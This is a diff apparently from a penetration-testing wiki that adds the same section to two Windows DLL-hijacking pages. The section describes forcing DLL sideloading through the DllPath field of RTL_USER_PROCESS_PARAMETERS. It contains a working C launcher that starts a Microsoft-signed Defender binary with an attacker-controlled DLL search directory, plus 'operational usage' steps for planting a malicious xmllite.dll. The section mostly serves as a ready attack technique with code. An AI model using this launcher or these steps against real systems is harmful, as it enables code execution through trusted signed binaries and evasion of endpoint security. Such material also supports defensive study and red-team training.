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96
src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md
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@ -62,6 +62,99 @@ Finally, note that **a dll could be loaded indicating the absolute path instead
There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
Operational usage example
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
@ -237,6 +330,9 @@ BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReser
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}}

96
src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md
View File

@ -61,6 +61,99 @@ Finally, note that **a dll could be loaded indicating the absolute path instead
There are other ways to alter the ways to alter the search order but I'm not going to explain them here.
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
An advanced way to deterministically influence the DLL search path of a newly created process is to set the DllPath field in RTL_USER_PROCESS_PARAMETERS when creating the process with ntdll’s native APIs. By supplying an attacker-controlled directory here, a target process that resolves an imported DLL by name (no absolute path and not using the safe loading flags) can be forced to load a malicious DLL from that directory.
Key idea
- Build the process parameters with RtlCreateProcessParametersEx and provide a custom DllPath that points to your controlled folder (e.g., the directory where your dropper/unpacker lives).
- Create the process with RtlCreateUserProcess. When the target binary resolves a DLL by name, the loader will consult this supplied DllPath during resolution, enabling reliable sideloading even when the malicious DLL is not colocated with the target EXE.
Notes/limitations
- This affects the child process being created; it is different from SetDllDirectory, which affects the current process only.
- The target must import or LoadLibrary a DLL by name (no absolute path and not using LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
- KnownDLLs and hardcoded absolute paths cannot be hijacked. Forwarded exports and SxS may change precedence.
Minimal C example (ntdll, wide strings, simplified error handling):
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
Operational usage example
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
#### Exceptions on dll search order from Windows docs
Certain exceptions to the standard DLL search order are noted in Windows documentation:
@ -277,6 +370,9 @@ Lenovo released UWP version **1.12.54.0** via the Microsoft Store, which install
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../../banners/hacktricks-training.md}}